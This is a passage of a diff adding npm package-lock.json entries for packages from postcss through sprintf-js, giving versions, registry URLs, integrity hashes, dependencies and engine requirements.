+    "node_modules/resolve-url-loader/node_modules/postcss": {
+      "version": "7.0.39",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+      "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==",
+      "dependencies": {
+        "picocolors": "^0.2.1",
+        "source-map": "^0.6.1"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/postcss/"
+      }
+    },
+    "node_modules/resolve.exports": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.0.tgz",
+      "integrity": "sha512-J1l+Zxxp4XK3LUDZ9m60LRJF/mAe4z6a4xyabPHk7pvK5t35dACV32iIjJDFeWZFfZlO29w6SZ67knR0tHzJtQ==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/retry": {
+      "version": "0.13.1",
+      "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
+      "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==",
+      "engines": {
+        "node": ">= 4"
+      }
+    },
+    "node_modules/reusify": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz",
+      "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==",
+      "engines": {
+        "iojs": ">=1.0.0",
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/rimraf": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz",
+      "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
+      "dependencies": {
+        "glob": "^7.1.3"
+      },
+      "bin": {
+        "rimraf": "bin.js"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
+    "node_modules/rollup": {
+      "version": "2.79.2",
+      "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.79.2.tgz",
+      "integrity": "sha512-fS6iqSPZDs3dr/y7Od6y5nha8dW1YnbgtsyotCVvoFGKbERG++CVRFv1meyGDE1SNItQA8BrnCw7ScdAhRJ3XQ==",
+      "peer": true,
+      "bin": {
+        "rollup": "dist/bin/rollup"
+      },
+      "engines": {
+        "node": ">=10.0.0"
+      },
+      "optionalDependencies": {
+        "fsevents": "~2.3.2"
+      }
+    },
+    "node_modules/rollup-plugin-terser": {
+      "version": "7.0.2",
+      "resolved": "https://registry.npmjs.org/rollup-plugin-terser/-/rollup-plugin-terser-7.0.2.tgz",
+      "integrity": "sha512-w3iIaU4OxcF52UUXiZNsNeuXIMDvFrr+ZXK6bFZ0Q60qyVfq4uLptoS4bbq3paG3x216eQllFZX7zt6TIImguQ==",
+      "deprecated": "This package has been deprecated and is no longer maintained. Please use @rollup/plugin-terser",
+      "dependencies": {
+        "@babel/code-frame": "^7.10.4",
+        "jest-worker": "^26.2.1",
+        "serialize-javascript": "^4.0.0",
+        "terser": "^5.0.0"
+      },
+      "peerDependencies": {
+        "rollup": "^2.0.0"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/jest-worker": {
+      "version": "26.6.2",
+      "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-26.6.2.tgz",
+      "integrity": "sha512-KWYVV1c4i+jbMpaBC+U++4Va0cp8OisU185o73T1vo99hqi7w8tSJfUXYswwqqrjzwxa6KpRK54WhPvwf5w6PQ==",
+      "dependencies": {
+        "@types/node": "*",
+        "merge-stream": "^2.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      }
+    },
+    "node_modules/rollup-plugin-terser/node_modules/serialize-javascript": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-4.0.0.tgz",
+      "integrity": "sha512-GaNA54380uFefWghODBWEGisLZFj00nS5ACs6yHa9nLqlLpVLO8ChDGeKRjZnV4Nh4n0Qi7nhYZD/9fCPzEqkw==",
+      "dependencies": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "node_modules/run-parallel": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz",
+      "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ],
+      "dependencies": {
+        "queue-microtask": "^1.2.2"
+      }
+    },
+    "node_modules/safe-buffer": {
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
+      "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
+    },
+    "node_modules/safe-regex-test": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz",
+      "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "get-intrinsic": "^1.1.3",
+        "is-regex": "^1.1.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/safer-buffer": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+      "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
+    },
+    "node_modules/sanitize.css": {
+      "version": "13.0.0",
+      "resolved": "https://registry.npmjs.org/sanitize.css/-/sanitize.css-13.0.0.tgz",
+      "integrity": "sha512-ZRwKbh/eQ6w9vmTjkuG0Ioi3HBwPFce0O+v//ve+aOq1oeCy7jMV2qzzAlpsNuqpqCBjjriM1lbtZbF/Q8jVyA=="
+    },
+    "node_modules/sass-loader": {
+      "version": "12.6.0",
+      "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-12.6.0.tgz",
+      "integrity": "sha512-oLTaH0YCtX4cfnJZxKSLAyglED0naiYfNG1iXfU5w1LNZ+ukoA5DtyDIN5zmKVZwYNJP4KRc5Y3hkWga+7tYfA==",
+      "dependencies": {
+        "klona": "^2.0.4",
+        "neo-async": "^2.6.2"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "fibers": ">= 3.1.0",
+        "node-sass": "^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0",
+        "sass": "^1.3.0",
+        "sass-embedded": "*",
+        "webpack": "^5.0.0"
+      },
+      "peerDependenciesMeta": {
+        "fibers": {
+          "optional": true
+        },
+        "node-sass": {
+          "optional": true
+        },
+        "sass": {
+          "optional": true
+        },
+        "sass-embedded": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/sax": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
+      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+    },
+    "node_modules/saxes": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/saxes/-/saxes-5.0.1.tgz",
+      "integrity": "sha512-5LBh1Tls8c9xgGjw3QrMwETmTMVk0oFgvrFSvWx62llR2hcEInrKNZ2GZCCuuy2lvWrdl5jhbpeqc5hRYKFOcw==",
+      "dependencies": {
+        "xmlchars": "^2.2.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/scheduler": {
+      "version": "0.20.2",
+      "resolved": "https://registry.nlark.com/scheduler/download/scheduler-0.20.2.tgz",
+      "integrity": "sha1-S67jlDbjSqk7SHS93L8P6Li1DpE=",
+      "dependencies": {
+        "loose-envify": "^1.1.0",
+        "object-assign": "^4.1.1"
+      }
+    },
+    "node_modules/schema-utils": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz",
+      "integrity": "sha512-Y5PQxS4ITlC+EahLuXaY86TXfR7Dc5lw294alXOq86JAHCihAIZfqv8nNCWvaEJvaC51uN9hbLGeV0cFBdH+Fw==",
+      "dependencies": {
+        "@types/json-schema": "^7.0.8",
+        "ajv": "^6.12.5",
+        "ajv-keywords": "^3.5.2"
+      },
+      "engines": {
+        "node": ">= 10.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      }
+    },
+    "node_modules/schema-utils/node_modules/ajv": {
+      "version": "6.12.6",
+      "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
+      "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
+      "peer": true,
+      "dependencies": {
+        "fast-deep-equal": "^3.1.1",
+        "fast-json-stable-stringify": "^2.0.0",
+        "json-schema-traverse": "^0.4.1",
+        "uri-js": "^4.2.2"
+      },
+      "funding": {
+        "type": "github",
+        "url": "https://github.com/sponsors/epoberezkin"
+      }
+    },
+    "node_modules/schema-utils/node_modules/ajv-keywords": {
+      "version": "3.5.2",
+      "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
+      "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
+      "license": "MIT",
+      "peerDependencies": {
+        "ajv": "^6.9.1"
+      }
+    },
+    "node_modules/schema-utils/node_modules/json-schema-traverse": {
+      "version": "0.4.1",
+      "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+      "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==",
+      "license": "MIT"
+    },
+    "node_modules/select-hose": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
+      "integrity": "sha512-mEugaLK+YfkijB4fx0e6kImuJdCIt2LxCRcbEYPqRGCs4F2ogyfZU5IAZRdjCP8JPq2AtdNoC/Dux63d9Kiryg=="
+    },
+    "node_modules/selfsigned": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/selfsigned/-/selfsigned-2.1.1.tgz",
+      "integrity": "sha512-GSL3aowiF7wa/WtSFwnUrludWFoNhftq8bUkH9pkzjpN2XSPOAYEgg6e0sS9s0rZwgJzJiQRPU18A6clnoW5wQ==",
+      "dependencies": {
+        "node-forge": "^1"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/semver": {
+      "version": "7.5.4",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz",
+      "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==",
+      "dependencies": {
+        "lru-cache": "^6.0.0"
+      },
+      "bin": {
+        "semver": "bin/semver.js"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/send": {
+      "version": "0.19.0",
+      "resolved": "https://registry.npmjs.org/send/-/send-0.19.0.tgz",
+      "integrity": "sha512-dW41u5VfLXu8SJh5bwRmyYUbAoSB3c9uQh6L8h/KtsFREPWpbX1lrljJo186Jc4nmci/sGUZ9a0a0J2zgfq2hw==",
+      "dependencies": {
+        "debug": "2.6.9",
+        "depd": "2.0.0",
+        "destroy": "1.2.0",
+        "encodeurl": "~1.0.2",
+        "escape-html": "~1.0.3",
+        "etag": "~1.8.1",
+        "fresh": "0.5.2",
+        "http-errors": "2.0.0",
+        "mime": "1.6.0",
+        "ms": "2.1.3",
+        "on-finished": "2.4.1",
+        "range-parser": "~1.2.1",
+        "statuses": "2.0.1"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/send/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/send/node_modules/debug/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/send/node_modules/encodeurl": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
+      "integrity": "sha512-TPJXq8JqFaVYm2CWmPvnP2Iyo4ZSM7/QKcSmuMLDObfpH5fi7RUGmd/rTDf+rut/saiDiQEeVTNgAmJEdAOx0w==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/send/node_modules/ms": {
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
+      "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA=="
+    },
+    "node_modules/serialize-javascript": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.0.tgz",
+      "integrity": "sha512-Qr3TosvguFt8ePWqsvRfrKyQXIiW+nGbYpy8XK24NQHE83caxWt+mIymTT19DGFbNWNLfEwsrkSmN64lVWB9ag==",
+      "dependencies": {
+        "randombytes": "^2.1.0"
+      }
+    },
+    "node_modules/serve-index": {
+      "version": "1.9.1",
+      "resolved": "https://registry.npmjs.org/serve-index/-/serve-index-1.9.1.tgz",
+      "integrity": "sha512-pXHfKNP4qujrtteMrSBb0rc8HJ9Ms/GrXwcUtUtD5s4ewDJI8bT3Cz2zTVRMKtri49pLx2e0Ya8ziP5Ya2pZZw==",
+      "dependencies": {
+        "accepts": "~1.3.4",
+        "batch": "0.6.1",
+        "debug": "2.6.9",
+        "escape-html": "~1.0.3",
+        "http-errors": "~1.6.2",
+        "mime-types": "~2.1.17",
+        "parseurl": "~1.3.2"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/serve-index/node_modules/debug": {
+      "version": "2.6.9",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+      "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+      "dependencies": {
+        "ms": "2.0.0"
+      }
+    },
+    "node_modules/serve-index/node_modules/depd": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz",
+      "integrity": "sha512-7emPTl6Dpo6JRXOXjLRxck+FlLRX5847cLKEn00PLAgc3g2hTZZgr+e4c2v6QpSmLeFP3n5yUo7ft6avBK/5jQ==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-index/node_modules/http-errors": {
+      "version": "1.6.3",
+      "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+      "integrity": "sha512-lks+lVC8dgGyh97jxvxeYTWQFvh4uw4yC12gVl63Cg30sjPX4wuGcdkICVXDAESr6OJGjqGA8Iz5mkeN6zlD7A==",
+      "dependencies": {
+        "depd": "~1.1.2",
+        "inherits": "2.0.3",
+        "setprototypeof": "1.1.0",
+        "statuses": ">= 1.4.0 < 2"
+      },
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-index/node_modules/inherits": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+      "integrity": "sha512-x00IRNXNy63jwGkJmzPigoySHbaqpNuzKbBOmzK+g2OdZpQ9w+sxCN+VSB3ja7IAge2OP2qpfxTjeNcyjmW1uw=="
+    },
+    "node_modules/serve-index/node_modules/ms": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/serve-index/node_modules/setprototypeof": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+      "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+    },
+    "node_modules/serve-index/node_modules/statuses": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+      "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-static": {
+      "version": "1.16.2",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
+      "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
+      "dependencies": {
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "parseurl": "~1.3.3",
+        "send": "0.19.0"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/set-function-length": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "dependencies": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "gopd": "^1.0.1",
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/set-function-length/node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/set-function-length/node_modules/get-intrinsic": {
+      "version": "1.2.4",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.2.4.tgz",
+      "integrity": "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "has-proto": "^1.0.1",
+        "has-symbols": "^1.0.3",
+        "hasown": "^2.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/set-function-length/node_modules/has-property-descriptors": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz",
+      "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==",
+      "dependencies": {
+        "es-define-property": "^1.0.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/setprototypeof": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+    },
+    "node_modules/shebang-command": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+      "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "dependencies": {
+        "shebang-regex": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shebang-regex": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+      "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shell-quote": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.7.3.tgz",
+      "integrity": "sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw=="
+    },
+    "node_modules/side-channel": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
+      "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
+      "dependencies": {
+        "call-bind": "^1.0.0",
+        "get-intrinsic": "^1.0.2",
+        "object-inspect": "^1.9.0"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+    },
+    "node_modules/sisteransi": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
+    },
+    "node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/sockjs": {
+      "version": "0.3.24",
+      "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
+      "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
+      "dependencies": {
+        "faye-websocket": "^0.11.3",
+        "uuid": "^8.3.2",
+        "websocket-driver": "^0.7.4"
+      }
+    },
+    "node_modules/source-list-map": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
+      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
+    },
+    "node_modules/source-map": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npm.taobao.org/source-map/download/source-map-0.6.1.tgz",
+      "integrity": "sha1-dHIq8y6WFOnCh6jQu95IteLxomM=",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/source-map-js": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+      "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/source-map-loader": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz",
+      "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==",
+      "dependencies": {
+        "abab": "^2.0.5",
+        "iconv-lite": "^0.6.3",
+        "source-map-js": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/source-map-loader/node_modules/iconv-lite": {
+      "version": "0.6.3",
+      "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz",
+      "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==",
+      "dependencies": {
+        "safer-buffer": ">= 2.1.2 < 3.0.0"
+      },
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/source-map-support": {
+      "version": "0.5.21",
+      "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+      "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+      "dependencies": {
+        "buffer-from": "^1.0.0",
+        "source-map": "^0.6.0"
+      }
+    },
+    "node_modules/sourcemap-codec": {
+      "version": "1.4.8",
+      "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
+      "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==",
+      "deprecated": "Please use @jridgewell/sourcemap-codec instead"
+    },
+    "node_modules/spdy": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
+      "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
+      "dependencies": {
+        "debug": "^4.1.0",
+        "handle-thing": "^2.0.0",
+        "http-deceiver": "^1.2.7",
+        "select-hose": "^2.0.0",
+        "spdy-transport": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/spdy-transport": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
+      "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
+      "dependencies": {
+        "debug": "^4.1.0",
+        "detect-node": "^2.0.4",
+        "hpack.js": "^2.1.6",
+        "obuf": "^1.1.2",
+        "readable-stream": "^3.0.6",
+        "wbuf": "^1.7.3"
+      }
+    },
+    "node_modules/sprintf-js": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
